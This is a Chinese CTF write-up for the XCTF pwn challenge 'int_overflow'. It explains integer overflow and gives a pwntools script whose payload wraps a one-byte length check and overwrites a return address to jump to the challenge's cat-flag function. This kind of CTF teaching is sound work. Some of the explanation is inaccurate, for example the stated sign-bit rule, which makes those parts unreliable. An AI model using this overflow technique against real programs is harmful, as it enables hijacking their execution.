zoukankan      html  css  js  c++  java
  • 攻防世界—pwn—int_overflow

    题目分析

    checksec检查文件保护机制

    ida分析程序




    经典整数溢出漏洞示例

    整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0,
    无符号数取值范围为非负数,常见各类型占用字节数如下:
    类型   占用字节数      取值范围
    Int          4      -2147483648~2147483647
    Short int    2      -32768~32767
    Long int     4      -2147483648~2147483647
    Unsigned int 4      0~4294967295
    Unsigned short int 2    0~65535
    Unsigned short int 4     0~4294967295
    对于unsigned short int类型的两个变量var1、var2假定取值var1 = 1,var2 = 65537
    

    也就是说,对于一个2字节的Unsigned short int型变量,它的有效数据长度为两个字节,当它的数据长度超过两个字节时,
    就溢出,溢出的部分则直接忽略,使用相关变量时,使用的数据仅为最后2个字节,
    因此就会出现65537等于1的情况,其他类型变量和数值与之类似
    

    信息收集

    char dest; // [sp+4h] [bp-14h]@3
    unsigned __int8 v3; // [sp+Fh] [bp-9h]@1
    

    0x14+4为偏移量,4个大小是需要覆盖的ebp的地址
    0x804868b为cat flag地址
    

    "A"*(256-0x18-4)+"a"*4是为了让v3溢出
    

    编写脚本

    from pwn import *
    
    p = remote('111.198.29.45',41419)
    #p = process("./pwn005")
    
    payload = "A"*0x14+"B"*4+p32(0x804868b)+"A"*(256-0x18-4)+"a"*4
    
    p.sendlineafter("Your choice:","1")
    p.sendlineafter("Please input your username:","root")
    p.sendlineafter("Please input your passwd:",payload)
    
    p.interactive()
    

    本地测试

    靶机测试

    原理(来自大佬的wp)

    进入login函数:接受了一个最大长度为0x199的password
    进入check_passwd函数:用一个一字节,8bit的变量存储password的长度,
    之后存在一个字符串拷贝,拷贝目的地在栈中,长度为14h,及0x14,十进制20,
    结合前面溢出原理分析,0x199(十进制409)的长度远大于1字节,
    也就是说,这里存在证书溢出,password字符串的长度可以是3-  8个字符,也可以是259-264个字符
    可以在字符串拷贝过程中,输入0x14个字符之后,就可以覆盖函数返回地址了,具体是不是0x14个字符,
    在字符串拷贝之前,先把拷贝的源地址和目的地址压入堆栈,这里似乎没有任何问题,
    查看整个函数的汇编代码,就会发现,在函数最开始,压入了ebp变量,在函数结尾,存在一条leave指令,
    而在32位程序中,leave指令等于mov esp,ebp和pop ebp两条指令的组合,
    也就是说,在覆盖函数放回地址之前,还有一次出栈操作,出栈数据大小4字节,
    即覆盖之前还需将这4字节覆盖了,才能实现跳转指向what_is_this函数,
    编写利用脚本如下:259-264之间随机选择一个数,
    这里取262,264-0x14-4-  4=234 
    
  • 相关阅读:
    服务器实现跨域
    quartz定时任务cron表达式详解
    mysql分区/分片
    微信小程序 之三元运算符代替wx:if 来解决背景图片显示隐藏
    微信小程序 本地缓存保持登录状态之wx.setStorageSync()使用技巧
    微信小程序 赋值问题
    微信小程序 wx.navigateTo()传参及多个参数方法
    js 循环遍历数组
    VUE之Router命令行警告:Named Route 'Home' has a default child route. 解决办法
    VUE之命令行报错:Component template should contain exactly one root element. If you are using v-if on multiple elements, use v-else-if to chain them instead 解决办法
  • 原文地址:https://www.cnblogs.com/anweilx/p/12629005.html
Copyright © 2011-2022 走看看